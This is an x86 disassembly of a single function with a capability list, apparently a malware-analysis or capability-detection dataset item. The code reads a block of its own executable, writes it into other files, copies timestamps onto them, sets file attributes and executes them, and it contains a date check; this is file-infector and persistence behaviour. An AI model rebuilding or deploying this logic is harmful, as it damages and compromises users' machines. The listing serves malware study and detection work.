Function at 0x40546c
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size
Get startup folder
Query or enumerate registry value
Read file on windows
Set file attributes
Timestomp file
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3a
push 0
push 0
dec ecx
jne 0x405474
push ecx
push ebx
push esi
push edi
mov eax, 0x4053fc
call fcn.00403ba0
xor eax, eax
push ebp
push 0x406834
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402798
cmp eax, 2
jne 0x4054dd
lea edx, [ebp - 0x14]
mov eax, 1
call fcn.004027f8
mov eax, dword [ebp - 0x14]
mov edx, 0x40684c
call fcn.00403614
jne 0x4054dd
mov edx, 0x4107bc
mov eax, 2
call fcn.004027f8
mov dl, 1
mov eax, dword [0x4107bc]
call fcn.004043b0
jmp 0x406809
mov byte [0x4107e8], 1
mov byte [0x4107e9], 1
mov byte [0x4107e5], 0
lea edx, [ebp - 0x18]
mov eax, 0x406858
call fcn.004041ac
mov edx, dword [ebp - 0x18]
mov eax, 0x4107bc
call fcn.00403398
push 0x4107ec
mov eax, dword [0x4107bc]
call fcn.004036c8
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x405616
mov eax, 0x4107b8
call fcn.00403344
lea edx, [ebp - 0x1c]
mov eax, 0x40688c
call fcn.004041ac
mov edx, dword [ebp - 0x1c]
mov eax, 0x4107c0
call fcn.00403398
push 0x41088c
push 0
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x4055c5
cmp dword [0x410890], 1
jne 0x4055c5
mov ecx, dword [0x41088c]
dec ecx
mov eax, 0x4107b8
xor edx, edx
call fcn.00403434
push 0x41088c
mov eax, 0x4107b8
call fcn.00403720
push eax
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea edx, [ebp - 0x20]
mov eax, 0x4068a4
call fcn.004041ac
mov edx, dword [ebp - 0x20]
mov eax, 0x4107b8
call fcn.004034d0
push 0xff
push 0x408884
mov eax, dword [0x4107b8]
call fcn.004036c8
push eax
call sub.kernel32.dll_GetShortPathNameA
test eax, eax
je 0x40560b
mov byte [0x4107e5], 1
mov byte [0x4107e8], 0
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegCloseKey_1
call fcn.00402858
push 0xff
push 0x408884
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x24]
mov edx, 0x408884
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov edx, dword [ebp - 0x24]
mov eax, 0x4107a0
mov ecx, 0x4068bc
call fcn.00403514
mov dword [0x4108c4], 0x94
push 0x4108c4
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x40567f
cmp dword [0x4108d4], 2
jne 0x405678
mov byte [0x4107e6], 0
jmp 0x40567f
mov byte [0x4107e6], 1
call sub.kernel32.dll_GetVersion_1
and ax, 0xffff
mov word [0x4107e2], ax
lea edx, [ebp - 0x124]
mov ax, word [0x4107e2]
and ax, 0xff
movzx eax, ax
call fcn.00402954
lea edx, [ebp - 0x124]
mov eax, 0x4107c0
call fcn.004034a4
lea edx, [ebp - 0x124]
mov ax, word [0x4107e2]
shr ax, 8
movzx eax, ax
call fcn.00402954
lea edx, [ebp - 0x124]
mov eax, 0x4107c4
call fcn.004034a4
cmp dword [0x4107c4], 0
jne 0x4056f6
mov eax, 0x4107c4
mov edx, 0x4068c8
call fcn.00403398
push dword [0x4107c0]
push 0x4068d4
push dword [0x4107c4]
mov eax, 0x4107bc
mov edx, 3
call fcn.00403588
mov eax, dword [0x4107bc]
mov edx, 0x4068e0
call fcn.00403614
jne 0x405730
mov byte [0x4107e7], 1
jmp 0x405737
mov byte [0x4107e7], 0
xor eax, eax
push ebp
push 0x4057c6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80000000
push 0x4107f8
lea eax, [ebp - 0x128]
mov edx, 0x408884
mov ecx, pe_nt_image_headers32
call fcn.004034b0
lea eax, [ebp - 0x128]
push eax
lea edx, [ebp - 0x12c]
mov eax, 0x4068ec
call fcn.004041ac
mov edx, dword [ebp - 0x12c]
pop eax
call fcn.004034d0
mov eax, dword [ebp - 0x128]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
push 0x41089c
push 0
push 0
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_GetFileTime
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4057d0
cmp byte [0x4107e6], 0
je 0x4057e0
mov al, 1
call fcn.00404254
lea edx, [ebp - 0x130]
mov eax, 0x406904
call fcn.004041ac
mov edx, dword [ebp - 0x130]
mov eax, 0x4107d0
call fcn.00403398
lea edx, [ebp - 0x134]
mov eax, 0x406914
call fcn.004041ac
mov edx, dword [ebp - 0x134]
mov eax, 0x4107d4
call fcn.00403398
lea edx, [ebp - 0x138]
mov eax, 0x40692c
call fcn.004041ac
mov edx, dword [ebp - 0x138]
mov eax, 0x4107c0
call fcn.00403398
cmp byte [0x4107e6], 0
je 0x40586b
lea edx, [ebp - 0x13c]
mov eax, 0x406970
call fcn.004041ac
mov edx, dword [ebp - 0x13c]
mov eax, 0x4107bc
call fcn.00403398
jmp 0x40588b
lea edx, [ebp - 0x140]
mov eax, 0x406984
call fcn.004041ac
mov edx, dword [ebp - 0x140]
mov eax, 0x4107bc
call fcn.00403398
cmp byte [0x4107e6], 0
je 0x4058a8
mov eax, 0x4107bc
mov ecx, 1
mov edx, 1
call fcn.00403768
mov eax, 0x4107bc
mov edx, dword [0x4107c0]
call fcn.004034d0
cmp byte [0x4107e6], 0
je 0x4058d9
mov eax, 0x4107a4
mov ecx, dword [0x4107d0]
mov edx, dword [0x4107a0]
call fcn.00403514
jmp 0x40590b
push 0x410974
push 7
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
push 0x408784
mov eax, dword [0x410974]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov eax, 0x4107a4
mov edx, 0x408784
mov ecx, pe_nt_image_headers32
call fcn.004034b0
push 0x4107ec
mov eax, dword [0x4107bc]
call fcn.004036c8
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x405c09
mov al, byte [0x4107e6]
or al, byte [0x4107e7]
je 0x40595c
lea edx, [ebp - 0x144]
mov eax, 0x406998
call fcn.004041ac
mov edx, dword [ebp - 0x144]
mov eax, 0x4107c0
call fcn.00403398
jmp 0x40597c
lea edx, [ebp - 0x148]
mov eax, 0x4069a8
call fcn.004041ac
mov edx, dword [ebp - 0x148]
mov eax, 0x4107c0
call fcn.00403398
push 0x41088c
push 0
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x4059ef
cmp dword [0x410890], 1
jne 0x4059ef
mov ecx, dword [0x41088c]
dec ecx
mov eax, 0x4107ac
xor edx, edx
call fcn.00403434
push 0x41088c
mov eax, 0x4107ac
call fcn.00403720
push eax
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
cmp byte [0x4107e6], 0
je 0x405a1a
lea edx, [ebp - 0x14c]
mov eax, 0x4069c0
call fcn.004041ac
mov edx, dword [ebp - 0x14c]
mov eax, 0x4107c0
call fcn.00403398
jmp 0x405a3a
lea edx, [ebp - 0x150]
mov eax, 0x4069d0
call fcn.004041ac
mov edx, dword [ebp - 0x150]
mov eax, 0x4107c0
call fcn.00403398
push 0x41088c
push 0
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x405aad
cmp dword [0x410890], 1
jne 0x405aad
mov ecx, dword [0x41088c]
dec ecx
mov eax, 0x4107b4
xor edx, edx
call fcn.00403434
push 0x41088c
mov eax, 0x4107b4
call fcn.00403720
push eax
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
cmp byte [0x4107e6], 0
je 0x405ad8
lea edx, [ebp - 0x154]
mov eax, 0x4069e0
call fcn.004041ac
mov edx, dword [ebp - 0x154]
mov eax, 0x4107c0
call fcn.00403398
jmp 0x405af8
lea edx, [ebp - 0x158]
mov eax, 0x4069f4
call fcn.004041ac
mov edx, dword [ebp - 0x158]
mov eax, 0x4107c0
call fcn.00403398
push 0x41088c
push 0
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x405b6b
cmp dword [0x410890], 1
jne 0x405b6b
mov ecx, dword [0x41088c]
dec ecx
mov eax, 0x4107b0
xor edx, edx
call fcn.00403434
push 0x41088c
mov eax, 0x4107b0
call fcn.00403720
push eax
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea edx, [ebp - 0x15c]
mov eax, 0x406a0c
call fcn.004041ac
mov edx, dword [ebp - 0x15c]
mov eax, 0x4107c0
call fcn.00403398
push 0x41088c
push 0
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x405bfe
cmp dword [0x410890], 1
jne 0x405bfe
mov ecx, dword [0x41088c]
dec ecx
mov eax, 0x4107a8
xor edx, edx
call fcn.00403434
push 0x41088c
mov eax, 0x4107a8
call fcn.00403720
push eax
push 0x410890
push 0
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [0x4107ec]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
push ebp
push 0x405d2c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4107e6], 0
je 0x405c8e
push 0x80000000
push 0x4107f8
lea eax, [ebp - 0x164]
mov edx, 0x408884
mov ecx, pe_nt_image_headers32
call fcn.004034b0
push dword [ebp - 0x164]
push 0x4068bc
push dword [0x4107d0]
lea edx, [ebp - 0x168]
mov eax, 0x406a1c
call fcn.004041ac
push dword [ebp - 0x168]
lea eax, [ebp - 0x160]
mov edx, 4
call fcn.00403588
mov eax, dword [ebp - 0x160]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
jmp 0x405cdf
push 0x80000000
push 0x4107f8
push dword [0x4107ac]
push 0x4068bc
lea edx, [ebp - 0x170]
mov eax, 0x406a2c
call fcn.004041ac
push dword [ebp - 0x170]
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.00403588
mov eax, dword [ebp - 0x16c]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
cmp dword [0x4107f0], 0xffffffff
jne 0x405cf4
push 0x4108b4
call sub.kernel32.dll_GetSystemTime
jmp 0x405d17
push 0x410894
push 0
push 0
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_GetFileTime
push 0x4108b4
push 0x410894
call sub.kernel32.dll_FileTimeToSystemTime
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405d36
cmp byte [0x4107e6], 0
je 0x405d61
lea edx, [ebp - 0x174]
mov eax, 0x406a40
call fcn.004041ac
mov edx, dword [ebp - 0x174]
mov eax, 0x4107c8
call fcn.00403398
jmp 0x405d81
lea edx, [ebp - 0x178]
mov eax, 0x406a64
call fcn.004041ac
mov edx, dword [ebp - 0x178]
mov eax, 0x4107c8
call fcn.00403398
cmp byte [0x4107e6], 0
je 0x405d9e
mov eax, 0x4107c8
mov ecx, 1
mov edx, 1
call fcn.00403768
lea eax, [ebp - 0x17c]
push eax
mov eax, 6
call fcn.004028d8
lea edx, [eax + eax*2]
add edx, 7
mov ecx, 3
mov eax, dword [0x4107c8]
call fcn.00403728
mov eax, dword [ebp - 0x17c]
push eax
lea eax, [ebp - 0x180]
push eax
mov eax, 8
call fcn.004028d8
lea edx, [eax + eax*2]
inc edx
mov ecx, 3
mov eax, dword [0x4107c8]
call fcn.00403728
mov edx, dword [ebp - 0x180]
mov eax, 0x4107c0
pop ecx
call fcn.00403514
mov eax, dword [0x4107c0]
mov al, byte [eax]
mov edx, dword [0x4107c0]
cmp al, byte [edx + 3]
je 0x405d9e
cmp al, 0x2d
jne 0x405e2a
mov eax, 0x4107c0
mov ecx, 1
mov edx, 1
call fcn.00403768
mov eax, 0x64
call fcn.004028d8
cmp eax, 0x42
jle 0x405e59
lea edx, [ebp - 0x184]
mov eax, 0x406a88
call fcn.004041ac
mov edx, dword [ebp - 0x184]
mov eax, 0x4107c0
call fcn.004034d0
push dword [0x4107c0]
push 0x4068d4
lea edx, [ebp - 0x188]
mov eax, 0x406a94
call fcn.004041ac
push dword [ebp - 0x188]
mov eax, 0x4107c0
mov edx, 3
call fcn.00403588
cmp byte [0x4107e6], 0
je 0x405eb2
lea edx, [ebp - 0x18c]
mov eax, dword [0x4107c0]
call fcn.00403fbc
mov edx, dword [ebp - 0x18c]
mov eax, 0x4107c0
call fcn.00403398
mov eax, 0x41079c
mov edx, dword [0x4107c0]
call fcn.00403398
lea edx, [ebp - 0x190]
mov eax, 0x406aa0
call fcn.004041ac
mov edx, dword [ebp - 0x190]
mov eax, 0x410798
call fcn.00403398
lea edx, [ebp - 0x194]
mov eax, 0x406ab8
call fcn.004041ac
mov ecx, dword [ebp - 0x194]
mov eax, 0x410794
mov edx, dword [0x4107b0]
call fcn.00403514
mov eax, dword [0x4070a4]
mov byte [eax], 2
push 0
push 0x4107f8
lea edx, [ebp - 0x198]
xor eax, eax
call fcn.004027f8
mov eax, dword [ebp - 0x198]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
push 0
push 0x41088c
push 0x7e00
push 0x408984
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_ReadFile
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4070a4]
mov byte [eax], 0
lea edx, [ebp - 0x1a0]
xor eax, eax
call fcn.004027f8
mov eax, dword [ebp - 0x1a0]
lea edx, [ebp - 0x19c]
call fcn.00403fbc
mov eax, dword [ebp - 0x19c]
push eax
lea edx, [ebp - 0x1a4]
mov eax, dword [0x4107a4]
call fcn.00403fbc
mov eax, dword [ebp - 0x1a4]
pop edx
call fcn.004037b0
test eax, eax
jle 0x4060ee
cmp byte [0x4107e6], 0
je 0x405fe7
push 5
lea eax, [ebp - 0x1a8]
mov ecx, dword [0x4107d4]
mov edx, dword [0x4107ac]
call fcn.00403514
mov eax, dword [ebp - 0x1a8]
call fcn.004036c8
push eax
call sub.kernel32.dll_WinExec
jmp 0x405fee
xor eax, eax
call fcn.00404ee4
push 0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [0x410794]
call fcn.004036c8
mov ebx, eax
push ebx
call sub.kernel32.dll_CreateFileA
mov dword [0x4107f0], eax
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
push 1
push 0x4107f8
push ebx
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
push 0
push 0x41088c
push 0x7e00
push 0x408984
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov dword [0x4107f0], eax
push 0x41089c
push 0x41089c
push 0x41089c
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_SetFileTime
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
push 5
push 0x406ad8
push dword [0x410794]
push 0x406ad8
push 0x406ae4
push 0x406ad8
lea edx, [ebp - 0x1b0]
xor eax, eax
call fcn.004027f8
push dword [ebp - 0x1b0]
push 0x406ad8
lea eax, [ebp - 0x1ac]
mov edx, 7
call fcn.00403588
mov eax, dword [ebp - 0x1ac]
call fcn.004036c8
push eax
call sub.kernel32.dll_WinExec
jmp 0x406809
lea edx, [ebp - 0x1b8]
xor eax, eax
call fcn.004027f8
mov eax, dword [ebp - 0x1b8]
lea edx, [ebp - 0x1b4]
call fcn.00403fbc
mov eax, dword [ebp - 0x1b4]
push eax
lea edx, [ebp - 0x1bc]
mov eax, dword [0x4107b0]
call fcn.00403fbc
mov eax, dword [ebp - 0x1bc]
pop edx
call fcn.004037b0
test eax, eax
jle 0x406273
mov dword [0x4107f0], 0xffffffff
xor eax, eax
push ebp
push 0x4061b4
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c0]
mov eax, 1
call fcn.004027f8
mov eax, dword [ebp - 0x1c0]
call fcn.004036c8
push eax
call sub.kernel32.dll_DeleteFileA
push 0x4000
push 0x4107f8
lea edx, [ebp - 0x1c4]
mov eax, 1
call fcn.004027f8
mov eax, dword [ebp - 0x1c4]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
push 0x3e8
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4061be
cmp dword [0x4107f0], 0xffffffff
jne 0x406141
push 0
push 0
push 0x410880
mov ecx, 0x40528c
mov edx, 0x7d000
xor eax, eax
call fcn.00403300
call fcn.00404748
cmp word [0x4107e0], 0x7d9
jne 0x406209
cmp word [0x4107de], 0xc
jne 0x40625a
cmp word [0x4107dc], 0x1b
jbe 0x40625a
push 0
push 0
push 0x410884
mov ecx, fcn.004052b0
mov edx, 0xfa000
xor eax, eax
call fcn.00403300
push 0
push 0
push 0x410888
mov ecx, 0x40530c
mov edx, 0xfa000
xor eax, eax
call fcn.00403300
jmp 0x40625a
push 0x410958
call sub.user32.dll_TranslateMessage
push 0x410958
call sub.user32.dll_DispatchMessageA
push 1
call sub.kernel32.dll_Sleep
push 0
push 0
push 0
push 0x410958
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x40623f
jmp 0x4067c6
mov word [0x4107e2], 0
push 0x80000000
push 0x4107f8
push dword [0x4107b4]
push 0x4068bc
lea edx, [ebp - 0x1cc]
mov eax, 0x406a2c
call fcn.004041ac
push dword [ebp - 0x1cc]
lea eax, [ebp - 0x1c8]
mov edx, 3
call fcn.00403588
mov eax, dword [ebp - 0x1c8]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
cmp dword [0x4107f0], 0xffffffff
jne 0x4062e1
mov word [0x4107e2], 1
jmp 0x4062f5
push 0x410894
push 0
push 0
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_GetFileTime
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
push 0x4108a4
push 0x410894
call sub.kernel32.dll_FileTimeToSystemTime
cmp word [0x4107e2], 0
jne 0x406364
mov ax, word [0x4108a4]
cmp ax, word [0x4108b4]
jne 0x406364
mov ax, word [0x4108a6]
cmp ax, word [0x4108b6]
jne 0x406364
mov ax, word [0x4108aa]
cmp ax, word [0x4108ba]
jne 0x406364
mov ax, word [0x4108ac]
cmp ax, word [0x4108bc]
jne 0x406364
mov ax, word [0x4108ae]
cmp ax, word [0x4108be]
je 0x40636b
mov al, 1
call fcn.00404ee4
mov edx, 0x4107c0
xor eax, eax
call fcn.004027f8
mov eax, 0x4107c4
mov edx, dword [0x4107c0]
call fcn.00403398
jmp 0x4063aa
mov edx, dword [0x4107c4]
mov eax, 0x4068bc
call fcn.004037b0
mov ecx, eax
mov eax, 0x4107c4
mov edx, 1
call fcn.00403768
mov edx, dword [0x4107c4]
mov eax, 0x4068bc
call fcn.004037b0
test eax, eax
jg 0x406389
jmp 0x4063e1
mov edx, dword [0x4107c4]
mov eax, 0x406ad8
call fcn.004037b0
mov edx, eax
mov eax, 0x4107c4
mov ecx, 1
call fcn.00403768
mov edx, dword [0x4107c4]
mov eax, 0x406ad8
call fcn.004037b0
test eax, eax
jg 0x4063c0
push dword [0x4107a8]
push 0x4068bc
push dword [0x4107c4]
mov eax, 0x4107c4
mov edx, 3
call fcn.00403588
push 0x8000
call sub.kernel32.dll_SetErrorMode
xor edx, edx
push ebp
push 0x4067bc
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x80000000
push 0x4107f8
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
push 0x410894
push 0
push 0
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_GetFileTime
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
push 0
push 0x4107f8
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f0], eax
push 0
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_GetFileSize
mov ebx, eax
cmp ebx, 0x7e00
jbe 0x40672d
push 0x1000
push 0x4107f8
mov eax, dword [0x4107c4]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f4], eax
cmp ebx, 0xfc00
ja 0x4064df
push 0
push 0
push 0x8000
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_SetFilePointer
jmp 0x4064fb
push 0
push 0
mov eax, ebx
sub eax, 0x7e00
add eax, 0x200
push eax
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410890
push pe_nt_image_headers32
push 0x408684
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_ReadFile
cmp ebx, 0xfc00
ja 0x406535
push 0
push 0
push 0x7e00
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_SetFilePointer
jmp 0x40654c
push 0
push 0
mov eax, ebx
sub eax, 0x7e00
push eax
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410890
push 0x7e00
push 0x408984
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_ReadFile
mov esi, dword [0x410890]
push 0
push 0x41088c
mov eax, dword [0x410890]
push eax
push 0x408984
mov eax, dword [0x4107f4]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0
push 0x7e00
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_SetFilePointer
cmp ebx, 0xfc00
jbe 0x406624
push 0
push 0x410890
push 0x7e00
push 0x408984
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_ReadFile
mov eax, ebx
sub eax, 0x7e00
mov edx, dword [0x410890]
add edx, esi
cmp eax, edx
jae 0x4065e2
mov edx, eax
sub edx, esi
mov dword [0x410890], edx
mov esi, eax
add esi, dword [0x410890]
cmp dword [0x410890], 0
jbe 0x40660e
push 0
push 0x41088c
mov eax, dword [0x410890]
push eax
push 0x408984
mov eax, dword [0x4107f4]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [0x410890], 0
je 0x406624
mov eax, dword [0x41088c]
cmp eax, dword [0x410890]
je 0x4065a7
push 0
push 0
push 0
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410890
push 0x7e00
push 0x408984
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_ReadFile
xor ebx, ebx
inc ebx
lea eax, [ebx + 0x7d00]
mov edx, ebx
and edx, 0x80000001
jns 0x406669
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
jne 0x4066b3
mov dl, byte [eax + 0x408983]
cmp dl, byte [eax + 0x408982]
jbe 0x406689
mov al, byte [ebx + 0x408682]
sub byte [ebx + 0x408683], al
jmp 0x4066b3
mov al, byte [ebx + 0x408682]
sub byte [ebx + 0x408683], al
mov al, byte [ebx + 0x408683]
add byte [ebx + 0x408682], al
mov al, byte [ebx + 0x408682]
sub al, byte [ebx + 0x408683]
mov byte [ebx + 0x408683], al
cmp ebx, 0x100
jl 0x406653
push 0
push 0
push 0x200
mov eax, dword [0x4107f4]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
push 0x410890
push pe_nt_image_headers32
push 0x408684
mov eax, dword [0x4107f4]
push eax
call sub.kernel32.dll_WriteFile_1
push 0x410894
push 0x410894
push 0x410894
mov eax, dword [0x4107f4]
push eax
call sub.kernel32.dll_SetFileTime
mov eax, dword [0x4107f0]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4107f4]
push eax
call sub.kernel32.dll_CloseHandle
push 6
mov eax, dword [0x4107c4]
call fcn.004036c8
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0x406ad8
push dword [0x4107c4]
push 0x406ad8
mov eax, 0x4107c0
mov edx, 3
call fcn.00403588
mov ebx, 1
lea edx, [ebp - 0x1d0]
mov eax, ebx
call fcn.004027f8
mov eax, dword [ebp - 0x1d0]
call fcn.004034c8
test eax, eax
jle 0x40679a
push dword [0x4107c0]
push 0x406ae4
lea edx, [ebp - 0x1d4]
mov eax, ebx
call fcn.004027f8
push dword [ebp - 0x1d4]
mov eax, 0x4107c0
mov edx, 3
call fcn.00403588
inc ebx
cmp ebx, 0xb
jne 0x406751
push 1
mov eax, dword [0x4107c0]
call fcn.004036c8
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4067c6
call fcn.00404748
cmp word [0x4107e0], 0x7d9
jne 0x4067ea
cmp word [0x4107de], 0xc
jne 0x4067f1
cmp word [0x4107dc], 0x1b
jbe 0x4067f1
call fcn.004052b0
jmp 0x406809
mov al, byte [0x4107e5]
or al, byte [0x4107e7]
je 0x406809
mov cl, 1
mov dl, 1
xor eax, eax
call fcn.00404db4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40683b
lea eax, [ebp - 0x1d4]
mov edx, 0x2c
call fcn.00403368
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00403368
ret